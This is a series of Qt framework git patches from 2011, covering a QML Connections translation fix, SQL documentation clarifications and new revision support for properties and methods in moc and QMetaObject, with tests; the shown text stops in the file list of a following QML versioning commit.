-- cgit v0.12 From 31460847fed4bc0867c3fd78466fed32e407fafb Mon Sep 17 00:00:00 2001 From: Michael Brasser Date: Tue, 4 Jan 2011 14:21:26 +1000 Subject: Fix translation in Connections element. Provide the component's file name to the expression as the translation context. Task-number: QTBUG-10300 Reviewed-by: Martin Jones --- src/declarative/util/qdeclarativeconnections.cpp | 7 ++++++- 1 file changed, 6 insertions(+), 1 deletion(-) diff --git a/src/declarative/util/qdeclarativeconnections.cpp b/src/declarative/util/qdeclarativeconnections.cpp index 15e5ac5..e102f2c 100644 --- a/src/declarative/util/qdeclarativeconnections.cpp +++ b/src/declarative/util/qdeclarativeconnections.cpp @@ -45,6 +45,7 @@ #include #include #include +#include #include #include @@ -257,7 +258,11 @@ void QDeclarativeConnections::connectSignals() if (prop.isValid() && (prop.type() & QDeclarativeProperty::SignalProperty)) { QDeclarativeBoundSignal *signal = new QDeclarativeBoundSignal(target(), prop.method(), this); - signal->setExpression(new QDeclarativeExpression(qmlContext(this), 0, script)); + QDeclarativeExpression *expression = new QDeclarativeExpression(qmlContext(this), 0, script); + QDeclarativeData *ddata = QDeclarativeData::get(this); + if (ddata && ddata->outerContext && !ddata->outerContext->url.isEmpty()) + expression->setSourceLocation(ddata->outerContext->url.toString(), ddata->lineNumber); + signal->setExpression(expression); d->boundsignals += signal; } else { if (!d->ignoreUnknownSignals) -- cgit v0.12 From 7a979f8dab64c33a7088b70ca5bff69b881ee55d Mon Sep 17 00:00:00 2001 From: Michael Brasser Date: Wed, 5 Jan 2011 10:40:47 +1000 Subject: Add clarifications to QML SQL docs. Reviewed-by: Bea Lam --- doc/src/declarative/globalobject.qdoc | 7 ++++--- src/declarative/qml/qdeclarativesqldatabase.cpp | 2 +- 2 files changed, 5 insertions(+), 4 deletions(-) diff --git a/doc/src/declarative/globalobject.qdoc b/doc/src/declarative/globalobject.qdoc index ffc84f9..ef8de5e 100644 --- a/doc/src/declarative/globalobject.qdoc +++ b/doc/src/declarative/globalobject.qdoc @@ -141,8 +141,9 @@ using the Offline Storage API. \section3 db = openDatabaseSync(identifier, version, description, estimated_size, callback(db)) Returns the database identified by \e identifier. If the database does not already exist, it -is created with the properties \e description and \e estimated_size and the function \e callback -is called with the database as a parameter. +is created, and the function \e callback is called with the database as a parameter. \e description +and \e estimated_size are written to the INI file (described below), but are otherwise currently +unused. May throw exception with code property SQLException.DATABASE_ERR, or SQLException.VERSION_ERR. @@ -153,7 +154,7 @@ When a database is first created, an INI file is also created specifying its cha \row \o Name \o The name of the database passed to \c openDatabase() \row \o Version \o The version of the database passed to \c openDatabase() \row \o Description \o The description of the database passed to \c openDatabase() -\row \o EstimatedSize \o The estimated size of the database passed to \c openDatabase() +\row \o EstimatedSize \o The estimated size (in bytes) of the database passed to \c openDatabase() \row \o Driver \o Currently "QSQLITE" \endtable diff --git a/src/declarative/qml/qdeclarativesqldatabase.cpp b/src/declarative/qml/qdeclarativesqldatabase.cpp index bda02a5..a774c02 100644 --- a/src/declarative/qml/qdeclarativesqldatabase.cpp +++ b/src/declarative/qml/qdeclarativesqldatabase.cpp @@ -351,7 +351,7 @@ static QScriptValue qmlsqldatabase_read_transaction(QScriptContext *context, QSc } /* - Currently documented in doc/src/declarastive/globalobject.qdoc + Currently documented in doc/src/declarative/globalobject.qdoc */ static QScriptValue qmlsqldatabase_open_sync(QScriptContext *context, QScriptEngine *engine) { -- cgit v0.12 From 3f80a24c5d375dd173d18c2a4227301f1afba2e3 Mon Sep 17 00:00:00 2001 From: Martin Jones Date: Mon, 6 Dec 2010 14:23:47 +1000 Subject: Allow a revision to be associated with properties and methods. Allows a revision to be associated with properties via: Q_PROPERTY(int prop READ prop1 REVISION 1) Allows a revision to be associated with methods via either: public slots Q_REVISION(1): void method1(); or: public slots: Q_REVISION void method1(); Private revision() methods are added to QMetaProperty and QMetaMethod to access the revision info. This is private API for use by QML for now. Task-number: QTBUG-13451 Reviewed-by: Kent Hansen --- src/corelib/kernel/qmetaobject.cpp | 48 +++++++++++++ src/corelib/kernel/qmetaobject.h | 3 + src/corelib/kernel/qmetaobject_p.h | 6 +- src/corelib/kernel/qobjectdefs.h | 2 + src/tools/moc/generator.cpp | 36 +++++++++- src/tools/moc/generator.h | 1 + src/tools/moc/keywords.cpp | 20 ++++-- src/tools/moc/moc.cpp | 82 ++++++++++++++++++++-- src/tools/moc/moc.h | 13 +++- src/tools/moc/token.cpp | 1 + src/tools/moc/token.h | 1 + src/tools/moc/util/generate_keywords.cpp | 1 + tests/auto/moc/tst_moc.cpp | 113 +++++++++++++++++++++++++++++++ 13 files changed, 311 insertions(+), 16 deletions(-) diff --git a/src/corelib/kernel/qmetaobject.cpp b/src/corelib/kernel/qmetaobject.cpp index 9854e68..dd5f231 100644 --- a/src/corelib/kernel/qmetaobject.cpp +++ b/src/corelib/kernel/qmetaobject.cpp @@ -1369,6 +1369,25 @@ int QMetaMethod::methodIndex() const } /*! + \internal + + Returns the method revision if one was + specified by Q_REVISION, otherwise returns 0. + */ +int QMetaMethod::revision() const +{ + if (!mobj) + return 0; + if ((QMetaMethod::Access)(mobj->d.data[handle + 4] & MethodRevisioned)) { + int offset = priv(mobj->d.data)->methodData + + priv(mobj->d.data)->methodCount * 5 + + (handle - priv(mobj->d.data)->methodData) / 5; + return mobj->d.data[offset]; + } + return 0; +} + +/*! Returns the access specification of this method (private, protected, or public). @@ -2389,6 +2408,35 @@ int QMetaProperty::notifySignalIndex() const } /*! + \internal + + Returns the property revision if one was + specified by REVISION, otherwise returns 0. + */ +int QMetaProperty::revision() const +{ + if (!mobj) + return 0; + int flags = mobj->d.data[handle + 2]; + if (flags & Revisioned) { + int offset = priv(mobj->d.data)->propertyData + + priv(mobj->d.data)->propertyCount * 3 + idx; + // Revision data is placed after NOTIFY data, if present. + // Iterate through properties to discover whether we have NOTIFY signals. + for (int i = 0; i < priv(mobj->d.data)->propertyCount; ++i) { + int handle = priv(mobj->d.data)->propertyData + 3*i; + if (mobj->d.data[handle + 2] & Notify) { + offset += priv(mobj->d.data)->propertyCount; + break; + } + } + return mobj->d.data[offset]; + } else { + return 0; + } +} + +/*! Returns true if this property is writable; otherwise returns false. diff --git a/src/corelib/kernel/qmetaobject.h b/src/corelib/kernel/qmetaobject.h index b700351..1ab08ee 100644 --- a/src/corelib/kernel/qmetaobject.h +++ b/src/corelib/kernel/qmetaobject.h @@ -70,6 +70,7 @@ public: enum Attributes { Compatibility = 0x1, Cloned = 0x2, Scriptable = 0x4 }; int attributes() const; int methodIndex() const; + int revision() const; inline const QMetaObject *enclosingMetaObject() const { return mobj; } @@ -200,6 +201,8 @@ public: QMetaMethod notifySignal() const; int notifySignalIndex() const; + int revision() const; + QVariant read(const QObject *obj) const; bool write(QObject *obj, const QVariant &value) const; bool reset(QObject *obj) const; diff --git a/src/corelib/kernel/qmetaobject_p.h b/src/corelib/kernel/qmetaobject_p.h index 4a03874..7b103e2 100644 --- a/src/corelib/kernel/qmetaobject_p.h +++ b/src/corelib/kernel/qmetaobject_p.h @@ -78,7 +78,8 @@ enum PropertyFlags { ResolveEditable = 0x00080000, User = 0x00100000, ResolveUser = 0x00200000, - Notify = 0x00400000 + Notify = 0x00400000, + Revisioned = 0x00800000 }; enum MethodFlags { @@ -95,7 +96,8 @@ enum MethodFlags { MethodCompatibility = 0x10, MethodCloned = 0x20, - MethodScriptable = 0x40 + MethodScriptable = 0x40, + MethodRevisioned = 0x80 }; enum MetaObjectFlags { diff --git a/src/corelib/kernel/qobjectdefs.h b/src/corelib/kernel/qobjectdefs.h index 555a1f5..d1a8f06 100644 --- a/src/corelib/kernel/qobjectdefs.h +++ b/src/corelib/kernel/qobjectdefs.h @@ -79,6 +79,7 @@ class QString; #define Q_INTERFACES(x) #define Q_PROPERTY(text) #define Q_PRIVATE_PROPERTY(d, text) +#define Q_REVISION(v) #define Q_OVERRIDE(text) #define Q_ENUMS(x) #define Q_FLAGS(x) @@ -180,6 +181,7 @@ private: #define Q_INTERFACES(x) Q_INTERFACES(x) #define Q_PROPERTY(text) Q_PROPERTY(text) #define Q_PRIVATE_PROPERTY(d, text) Q_PRIVATE_PROPERTY(d, text) +#define Q_REVISION(v) Q_REVISION(v) #define Q_OVERRIDE(text) Q_OVERRIDE(text) #define Q_ENUMS(x) Q_ENUMS(x) #define Q_FLAGS(x) Q_FLAGS(x) diff --git a/src/tools/moc/generator.cpp b/src/tools/moc/generator.cpp index c3bbba1..ea5b474 100644 --- a/src/tools/moc/generator.cpp +++ b/src/tools/moc/generator.cpp @@ -181,10 +181,14 @@ void Generator::generateCode() int methodCount = cdef->signalList.count() + cdef->slotList.count() + cdef->methodList.count(); fprintf(out, " %4d, %4d, // methods\n", methodCount, methodCount ? index : 0); index += methodCount * 5; + if (cdef->revisionedMethods) + index += methodCount; fprintf(out, " %4d, %4d, // properties\n", cdef->propertyList.count(), cdef->propertyList.count() ? index : 0); index += cdef->propertyList.count() * 3; if(cdef->notifyableProperties) index += cdef->propertyList.count(); + if (cdef->revisionedProperties) + index += cdef->propertyList.count(); fprintf(out, " %4d, %4d, // enums/sets\n", cdef->enumList.count(), cdef->enumList.count() ? index : 0); int enumsIndex = index; @@ -217,6 +221,14 @@ void Generator::generateCode() // generateFunctions(cdef->methodList, "method", MethodMethod); +// +// Build method version arrays +// + if (cdef->revisionedMethods) { + generateFunctionRevisions(cdef->signalList, "signal"); + generateFunctionRevisions(cdef->slotList, "slot"); + generateFunctionRevisions(cdef->methodList, "method"); + } // // Build property array @@ -456,7 +468,7 @@ void Generator::generateFunctions(QList& list, const char *functype } sig += ')'; - char flags = type; + unsigned char flags = type; if (f.access == FunctionDef::Private) flags |= AccessPrivate; else if (f.access == FunctionDef::Public) @@ -475,11 +487,23 @@ void Generator::generateFunctions(QList& list, const char *functype flags |= MethodCloned; if (f.isScriptable) flags |= MethodScriptable; + if (f.revision > 0) + flags |= MethodRevisioned; fprintf(out, " %4d, %4d, %4d, %4d, 0x%02x,\n", strreg(sig), strreg(arguments), strreg(f.normalizedType), strreg(f.tag), flags); } } +void Generator::generateFunctionRevisions(QList& list, const char *functype) +{ + if (list.count()) + fprintf(out, "\n // %ss: revision\n", functype); + for (int i = 0; i < list.count(); ++i) { + const FunctionDef &f = list.at(i); + fprintf(out, " %4d,\n", f.revision); + } +} + void Generator::generateProperties() { // @@ -537,6 +561,9 @@ void Generator::generateProperties() if (p.notifyId != -1) flags |= Notify; + if (p.revision > 0) + flags |= Revisioned; + if (p.constant) flags |= Constant; if (p.final) @@ -562,6 +589,13 @@ void Generator::generateProperties() p.notifyId); } } + if (cdef->revisionedProperties) { + fprintf(out, "\n // properties: revision\n"); + for (int i = 0; i < cdef->propertyList.count(); ++i) { + const PropertyDef &p = cdef->propertyList.at(i); + fprintf(out, " %4d,\n", p.revision); + } + } } void Generator::generateEnums(int index) diff --git a/src/tools/moc/generator.h b/src/tools/moc/generator.h index fb6ad747..72b2b17 100644 --- a/src/tools/moc/generator.h +++ b/src/tools/moc/generator.h @@ -58,6 +58,7 @@ public: private: void generateClassInfos(); void generateFunctions(QList &list, const char *functype, int type); + void generateFunctionRevisions(QList& list, const char *functype); void generateEnums(int index); void generateProperties(); void generateMetacall(); diff --git a/src/tools/moc/keywords.cpp b/src/tools/moc/keywords.cpp index df1ba0d..7b84fd7 100644 --- a/src/tools/moc/keywords.cpp +++ b/src/tools/moc/keywords.cpp @@ -43,12 +43,12 @@ // DO NOT EDIT. static const short keyword_trans[][128] = { - {0,0,0,0,0,0,0,0,0,533,530,0,0,0,0,0, + {0,0,0,0,0,0,0,0,0,541,538,0,0,0,0,0, 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, - 533,252,531,534,0,38,239,532,25,26,236,234,30,235,27,237, + 541,252,539,542,0,38,239,540,25,26,236,234,30,235,27,237, 22,22,22,22,22,22,22,22,22,22,34,41,23,39,24,43, 0,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8, - 8,21,8,8,8,8,8,8,8,8,8,31,535,32,238,8, + 8,21,8,8,8,8,8,8,8,8,8,31,543,32,238,8, 0,1,2,3,4,5,6,7,8,9,8,8,10,11,12,13, 14,8,15,16,17,18,19,20,8,8,8,36,245,37,248,0}, {0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, @@ -190,7 +190,7 @@ static const short keyword_trans[][128] = { {0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 0,0,0,0,0,0,0,0,0,0,42,0,0,0,28,0, - 538,538,538,538,538,538,538,538,538,538,0,0,0,0,0,0, + 546,546,546,546,546,546,546,546,546,546,0,0,0,0,0,0, 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, @@ -349,7 +349,7 @@ static const short keyword_trans[][128] = { 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0}, {0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, - 0,0,0,0,0,0,0,0,0,0,537,0,0,0,0,536, + 0,0,0,0,0,0,0,0,0,0,545,0,0,0,0,544, 0,0,0,0,0,0,0,0,0,0,0,0,0,258,0,0, 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, @@ -392,7 +392,7 @@ static const short keyword_trans[][128] = { 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 0,0,0,439,388,378,383,364,0,448,0,0,0,0,0,358, - 370,0,0,436,0,0,0,0,0,0,0,0,0,0,0,0, + 370,0,530,436,0,0,0,0,0,0,0,0,0,0,0,0, 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0}, {0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, @@ -983,6 +983,14 @@ static const struct {CHARACTER, 0, 84, 528, CHARACTER}, {CHARACTER, 0, 89, 529, CHARACTER}, {Q_PRIVATE_PROPERTY_TOKEN, 0, 0, 0, CHARACTER}, + {CHARACTER, 0, 69, 531, CHARACTER}, + {CHARACTER, 0, 86, 532, CHARACTER}, + {CHARACTER, 0, 73, 533, CHARACTER}, + {CHARACTER, 0, 83, 534, CHARACTER}, + {CHARACTER, 0, 73, 535, CHARACTER}, + {CHARACTER, 0, 79, 536, CHARACTER}, + {CHARACTER, 0, 78, 537, CHARACTER}, + {Q_REVISION_TOKEN, 0, 0, 0, CHARACTER}, {NEWLINE, 0, 0, 0, NOTOKEN}, {QUOTE, 0, 0, 0, NOTOKEN}, {SINGLEQUOTE, 0, 0, 0, NOTOKEN}, diff --git a/src/tools/moc/moc.cpp b/src/tools/moc/moc.cpp index 2c24165..b8b823c 100644 --- a/src/tools/moc/moc.cpp +++ b/src/tools/moc/moc.cpp @@ -335,6 +335,23 @@ bool Moc::testFunctionAttribute(Token tok, FunctionDef *def) return false; } +bool Moc::testFunctionRevision(FunctionDef *def) +{ + if (test(Q_REVISION_TOKEN)) { + next(LPAREN); + QByteArray revision = lexemUntil(RPAREN); + revision.remove(0, 1); + revision.chop(1); + bool ok = false; + def->revision = revision.toInt(&ok); + if (!ok || def->revision < 0) + error("Invalid revision"); + return true; + } + + return false; +} + // returns false if the function should be ignored bool Moc::parseFunction(FunctionDef *def, bool inMacro) { @@ -342,7 +359,7 @@ bool Moc::parseFunction(FunctionDef *def, bool inMacro) //skip modifiers and attributes while (test(INLINE) || test(STATIC) || (test(VIRTUAL) && (def->isVirtual = true)) //mark as virtual - || testFunctionAttribute(def)) {} + || testFunctionAttribute(def) || testFunctionRevision(def)) {} bool templateFunction = (lookup() == TEMPLATE); def->type = parseType(); if (def->type.name.isEmpty()) { @@ -433,7 +450,7 @@ bool Moc::parseMaybeFunction(const ClassDef *cdef, FunctionDef *def) //skip modifiers and attributes while (test(EXPLICIT) || test(INLINE) || test(STATIC) || (test(VIRTUAL) && (def->isVirtual = true)) //mark as virtual - || testFunctionAttribute(def)) {} + || testFunctionAttribute(def) || testFunctionRevision(def)) {} bool tilde = test(TILDE); def->type = parseType(); if (def->type.name.isEmpty()) @@ -694,6 +711,8 @@ void Moc::parse() funcDef.arguments.removeLast(); def.slotList += funcDef; } + if (funcDef.revision > 0) + ++def.revisionedMethods; } else if (funcDef.isSignal) { def.signalList += funcDef; while (funcDef.arguments.size() > 0 && funcDef.arguments.last().isDefault) { @@ -701,6 +720,8 @@ void Moc::parse() funcDef.arguments.removeLast(); def.signalList += funcDef; } + if (funcDef.revision > 0) + ++def.revisionedMethods; } else if (funcDef.isInvokable) { def.methodList += funcDef; while (funcDef.arguments.size() > 0 && funcDef.arguments.last().isDefault) { @@ -708,6 +729,8 @@ void Moc::parse() funcDef.arguments.removeLast(); def.methodList += funcDef; } + if (funcDef.revision > 0) + ++def.revisionedMethods; } } } else { @@ -806,6 +829,18 @@ QList Moc::generate(bool ignoreProperties) void Moc::parseSlots(ClassDef *def, FunctionDef::Access access) { + int defaultRevision = -1; + if (test(Q_REVISION_TOKEN)) { + next(LPAREN); + QByteArray revision = lexemUntil(RPAREN); + revision.remove(0, 1); + revision.chop(1); + bool ok = false; + defaultRevision = revision.toInt(&ok); + if (!ok || defaultRevision < 0) + error("Invalid revision"); + } + next(COLON); while (inClass(def) && hasNext()) { switch (next()) { @@ -831,6 +866,12 @@ void Moc::parseSlots(ClassDef *def, FunctionDef::Access access) funcDef.access = access; if (!parseFunction(&funcDef)) continue; + if (funcDef.revision > 0) { + ++def->revisionedMethods; + } else if (defaultRevision != -1) { + funcDef.revision = defaultRevision; + ++def->revisionedMethods; + } def->slotList += funcDef; while (funcDef.arguments.size() > 0 && funcDef.arguments.last().isDefault) { funcDef.wasCloned = true; @@ -842,6 +883,18 @@ void Moc::parseSlots(ClassDef *def, FunctionDef::Access access) void Moc::parseSignals(ClassDef *def) { + int defaultRevision = -1; + if (test(Q_REVISION_TOKEN)) { + next(LPAREN); + QByteArray revision = lexemUntil(RPAREN); + revision.remove(0, 1); + revision.chop(1); + bool ok = false; + defaultRevision = revision.toInt(&ok); + if (!ok || defaultRevision < 0) + error("Invalid revision"); + } + next(COLON); while (inClass(def) && hasNext()) { switch (next()) { @@ -869,6 +922,12 @@ void Moc::parseSignals(ClassDef *def) warning("Signals cannot be declared virtual"); if (funcDef.inlineCode) error("Not a signal declaration"); + if (funcDef.revision > 0) { + ++def->revisionedMethods; + } else if (defaultRevision != -1) { + funcDef.revision = defaultRevision; + ++def->revisionedMethods; + } def->signalList += funcDef; while (funcDef.arguments.size() > 0 && funcDef.arguments.last().isDefault) { funcDef.wasCloned = true; @@ -911,7 +970,6 @@ void Moc::createPropertyDef(PropertyDef &propDef) propDef.name = lexem(); while (test(IDENTIFIER)) { QByteArray l = lexem(); - if (l[0] == 'C' && l == "CONSTANT") { propDef.constant = true; continue; @@ -923,6 +981,10 @@ void Moc::createPropertyDef(PropertyDef &propDef) QByteArray v, v2; if (test(LPAREN)) { v = lexemUntil(RPAREN); + } else if (test(INTEGER_LITERAL)) { + v = lexem(); + if (l != "REVISION") + error(1); } else { next(IDENTIFIER); v = lexem(); @@ -937,7 +999,12 @@ void Moc::createPropertyDef(PropertyDef &propDef) propDef.read = v; else if (l == "RESET") propDef.reset = v + v2; - else + else if (l == "REVISION") { + bool ok = false; + propDef.revision = v.toInt(&ok); + if (!ok || propDef.revision < 0) + error(1); + } else error(2); break; case 'S': @@ -1002,6 +1069,8 @@ void Moc::parseProperty(ClassDef *def) if(!propDef.notify.isEmpty()) def->notifyableProperties++; + if (propDef.revision > 0) + ++def->revisionedProperties; def->propertyList += propDef; } @@ -1028,6 +1097,8 @@ void Moc::parsePrivateProperty(ClassDef *def) if(!propDef.notify.isEmpty()) def->notifyableProperties++; + if (propDef.revision > 0) + ++def->revisionedProperties; def->propertyList += propDef; } @@ -1177,6 +1248,9 @@ void Moc::parseSlotInPrivate(ClassDef *def, FunctionDef::Access access) funcDef.arguments.removeLast(); def->slotList += funcDef; } + if (funcDef.revision > 0) + ++def->revisionedMethods; + } QByteArray Moc::lexemUntil(Token target) diff --git a/src/tools/moc/moc.h b/src/tools/moc/moc.h index 5e47d9a..c07ec0b 100644 --- a/src/tools/moc/moc.h +++ b/src/tools/moc/moc.h @@ -86,7 +86,7 @@ struct FunctionDef FunctionDef(): returnTypeIsVolatile(false), access(Private), isConst(false), isVirtual(false), inlineCode(false), wasCloned(false), isCompat(false), isInvokable(false), isScriptable(false), isSlot(false), isSignal(false), - isConstructor(false), isDestructor(false), isAbstract(false) {} + isConstructor(false), isDestructor(false), isAbstract(false), revision(0) {} Type type; QByteArray normalizedType; QByteArray tag; @@ -111,11 +111,13 @@ struct FunctionDef bool isConstructor; bool isDestructor; bool isAbstract; + + int revision; }; struct PropertyDef { - PropertyDef():notifyId(-1), constant(false), final(false), gspec(ValueSpec){} + PropertyDef():notifyId(-1), constant(false), final(false), gspec(ValueSpec), revision(0){} QByteArray name, type, read, write, reset, designable, scriptable, editable, stored, user, notify, inPrivateClass; int notifyId; bool constant; @@ -128,6 +130,7 @@ struct PropertyDef s += name.mid(1); return (s == write); } + int revision; }; @@ -139,7 +142,8 @@ struct ClassInfoDef struct ClassDef { ClassDef(): - hasQObject(false), hasQGadget(false), notifyableProperties(0), begin(0), end(0){} + hasQObject(false), hasQGadget(false), notifyableProperties(0) + , revisionedMethods(0), revisionedProperties(0), begin(0), end(0){} QByteArray classname; QByteArray qualified; QList > superclassList; @@ -164,6 +168,8 @@ struct ClassDef { QMap enumDeclarations; QList enumList; QMap flagAliases; + int revisionedMethods; + int revisionedProperties; int begin; int end; @@ -236,6 +242,7 @@ public: // in FunctionDef accordingly bool testFunctionAttribute(FunctionDef *def); bool testFunctionAttribute(Token tok, FunctionDef *def); + bool testFunctionRevision(FunctionDef *def); void checkSuperClasses(ClassDef *def); void checkProperties(ClassDef* cdef); diff --git a/src/tools/moc/token.cpp b/src/tools/moc/token.cpp index 3da9446..27d5146 100644 --- a/src/tools/moc/token.cpp +++ b/src/tools/moc/token.cpp @@ -180,6 +180,7 @@ const char *tokenTypeName(Token t) case Q_SLOT_TOKEN: return "Q_SLOT_TOKEN"; case Q_PRIVATE_SLOT_TOKEN: return "Q_PRIVATE_SLOT_TOKEN"; case Q_PRIVATE_PROPERTY_TOKEN: return "Q_PRIVATE_PROPERTY_TOKEN"; + case Q_REVISION_TOKEN: return "Q_REVISION_TOKEN"; case SPECIAL_TREATMENT_MARK: return "SPECIAL_TREATMENT_MARK"; case MOC_INCLUDE_BEGIN: return "MOC_INCLUDE_BEGIN"; case MOC_INCLUDE_END: return "MOC_INCLUDE_END"; diff --git a/src/tools/moc/token.h b/src/tools/moc/token.h index 6ca3d84..8b72eb6 100644 --- a/src/tools/moc/token.h +++ b/src/tools/moc/token.h @@ -186,6 +186,7 @@ enum Token { Q_INVOKABLE_TOKEN, Q_SCRIPTABLE_TOKEN, Q_PRIVATE_PROPERTY_TOKEN, + Q_REVISION_TOKEN, Q_META_TOKEN_END, SPECIAL_TREATMENT_MARK = Q_META_TOKEN_END, MOC_INCLUDE_BEGIN, diff --git a/src/tools/moc/util/generate_keywords.cpp b/src/tools/moc/util/generate_keywords.cpp index 88f187d..e9463e1 100644 --- a/src/tools/moc/util/generate_keywords.cpp +++ b/src/tools/moc/util/generate_keywords.cpp @@ -249,6 +249,7 @@ static const Keyword keywords[] = { { "Q_SLOT", "Q_SLOT_TOKEN" }, { "Q_SCRIPTABLE", "Q_SCRIPTABLE_TOKEN" }, { "Q_PRIVATE_PROPERTY", "Q_PRIVATE_PROPERTY_TOKEN" }, + { "Q_REVISION", "Q_REVISION_TOKEN" }, { "\n", "NEWLINE" }, { "\"", "QUOTE" }, { "\'", "SINGLEQUOTE" }, diff --git a/tests/auto/moc/tst_moc.cpp b/tests/auto/moc/tst_moc.cpp index bb23f49..a634349 100644 --- a/tests/auto/moc/tst_moc.cpp +++ b/tests/auto/moc/tst_moc.cpp @@ -493,6 +493,7 @@ private slots: void QTBUG5590_dummyProperty(); void QTBUG12260_defaultTemplate(); void notifyError(); + void revisions(); signals: void sigWithUnsignedArg(unsigned foo); void sigWithSignedArg(signed foo); @@ -507,6 +508,7 @@ private: bool user2() { return false; }; bool user3() { return false; }; bool userFunction(){ return false; }; + template void revisions_T(); private: QString qtIncludePath; @@ -1384,6 +1386,117 @@ void tst_Moc::notifyError() #endif } +// If changed, update VersionTestNotify below +class VersionTest : public QObject +{ + Q_OBJECT + Q_PROPERTY(int prop1 READ foo) + Q_PROPERTY(int prop2 READ foo REVISION 2) + Q_ENUMS(TestEnum); + +public: + int foo() const { return 0; } + + Q_INVOKABLE void method1() {} + Q_INVOKABLE Q_REVISION(4) void method2() {} + + enum TestEnum { One, Two }; + +public slots: + void slot1() {} + Q_REVISION(3) void slot2() {} + +signals: + void signal1(); + Q_REVISION(5) void signal2(); + +public slots Q_REVISION(6): + void slot3() {} + void slot4() {} + +signals Q_REVISION(7): + void signal3(); + void signal4(); +}; + +// If changed, update VersionTest above +class VersionTestNotify : public QObject +{ + Q_OBJECT + Q_PROPERTY(int prop1 READ foo NOTIFY fooChanged) + Q_PROPERTY(int prop2 READ foo REVISION 2) + Q_ENUMS(TestEnum); + +public: + int foo() const { return 0; } + + Q_INVOKABLE void method1() {} + Q_INVOKABLE Q_REVISION(4) void method2() {} + + enum TestEnum { One, Two }; + +public slots: + void slot1() {} + Q_REVISION(3) void slot2() {} + +signals: + void fooChanged(); + void signal1(); + Q_REVISION(5) void signal2(); + +public slots Q_REVISION(6): + void slot3() {} + void slot4() {} + +signals Q_REVISION(7): + void signal3(); + void signal4(); +}; + +template +void tst_Moc::revisions_T() +{ + int idx = T::staticMetaObject.indexOfProperty("prop1"); + QVERIFY(T::staticMetaObject.property(idx).revision() == 0); + idx = T::staticMetaObject.indexOfProperty("prop2"); + QVERIFY(T::staticMetaObject.property(idx).revision() == 2); + + idx = T::staticMetaObject.indexOfMethod("method1()"); + QVERIFY(T::staticMetaObject.method(idx).revision() == 0); + idx = T::staticMetaObject.indexOfMethod("method2()"); + QVERIFY(T::staticMetaObject.method(idx).revision() == 4); + + idx = T::staticMetaObject.indexOfSlot("slot1()"); + QVERIFY(T::staticMetaObject.method(idx).revision() == 0); + idx = T::staticMetaObject.indexOfSlot("slot2()"); + QVERIFY(T::staticMetaObject.method(idx).revision() == 3); + + idx = T::staticMetaObject.indexOfSlot("slot3()"); + QVERIFY(T::staticMetaObject.method(idx).revision() == 6); + idx = T::staticMetaObject.indexOfSlot("slot4()"); + QVERIFY(T::staticMetaObject.method(idx).revision() == 6); + + idx = T::staticMetaObject.indexOfSignal("signal1()"); + QVERIFY(T::staticMetaObject.method(idx).revision() == 0); + idx = T::staticMetaObject.indexOfSignal("signal2()"); + QVERIFY(T::staticMetaObject.method(idx).revision() == 5); + + idx = T::staticMetaObject.indexOfSignal("signal3()"); + QVERIFY(T::staticMetaObject.method(idx).revision() == 7); + idx = T::staticMetaObject.indexOfSignal("signal4()"); + QVERIFY(T::staticMetaObject.method(idx).revision() == 7); + + idx = T::staticMetaObject.indexOfEnumerator("TestEnum"); + QCOMPARE(T::staticMetaObject.enumerator(idx).keyCount(), 2); + QCOMPARE(T::staticMetaObject.enumerator(idx).key(0), "One"); +} + +// test using both class that has properties with and without NOTIFY signals +void tst_Moc::revisions() +{ + revisions_T(); + revisions_T(); +} QTEST_APPLESS_MAIN(tst_Moc) #include "tst_moc.moc" -- cgit v0.12 From ffd499eb6ff64df1833625f64dbbf92e0e0746d4 Mon Sep 17 00:00:00 2001 From: Martin Jones Date: Wed, 5 Jan 2011 13:57:17 +1000 Subject: Support property/method versions in QML Use metaobject revisioning to exclude properties/revisions added in later versions from interfering with earlier versions. Task-number: QTBUG-13451 Reviewed-by: Aaron Kennedy --- src/declarative/qml/qdeclarative.h | 77 +++++++++- .../qml/qdeclarativecompiledbindings.cpp | 4 + src/declarative/qml/qdeclarativecompiler.cpp | 17 ++- src/declarative/qml/qdeclarativedata_p.h | 5 +- src/declarative/qml/qdeclarativeinstruction_p.h | 1 + src/declarative/qml/qdeclarativemetatype.cpp | 83 ++++++++++- src/declarative/qml/qdeclarativemetatype_p.h | 5 + .../qml/qdeclarativeobjectscriptclass.cpp | 14 ++ src/declarative/qml/qdeclarativeprivate.h | 1 + src/declarative/qml/qdeclarativepropertycache.cpp | 3 +- src/declarative/qml/qdeclarativepropertycache_p.h | 4 +- src/declarative/qml/qdeclarativescriptparser.cpp | 1 - src/declarative/qml/qdeclarativevaluetype.cpp | 1 + src/declarative/qml/qdeclarativevme.cpp | 4 + src/declarative/qml/qmetaobjectbuilder.cpp | 33 +---- src/declarative/qml/qmetaobjectbuilder_p.h | 2 - .../util/qdeclarativeopenmetaobject.cpp | 1 - .../data/metaobjectRevision.qml | 7 + .../data/metaobjectRevision2.qml | 9 ++ .../data/metaobjectRevision3.qml | 8 + .../data/metaobjectRevisionErrors.qml | 14 ++ .../data/metaobjectRevisionErrors2.qml | 24 +++ .../data/metaobjectRevisionErrors3.qml | 36 +++++ .../qdeclarativeecmascript/testtypes.cpp | 9 ++ .../declarative/qdeclarativeecmascript/testtypes.h | 161 ++++++++++++++++++++ .../tst_qdeclarativeecmascript.cpp | 82 +++++++++++ .../data/metaobjectRevision.1.errors.txt | 1 + .../data/metaobjectRevision.1.qml | 8 + .../data/metaobjectRevision.2.errors.txt | 1 + .../data/metaobjectRevision.2.qml | 7 + .../data/metaobjectRevision.3.errors.txt | 1 + 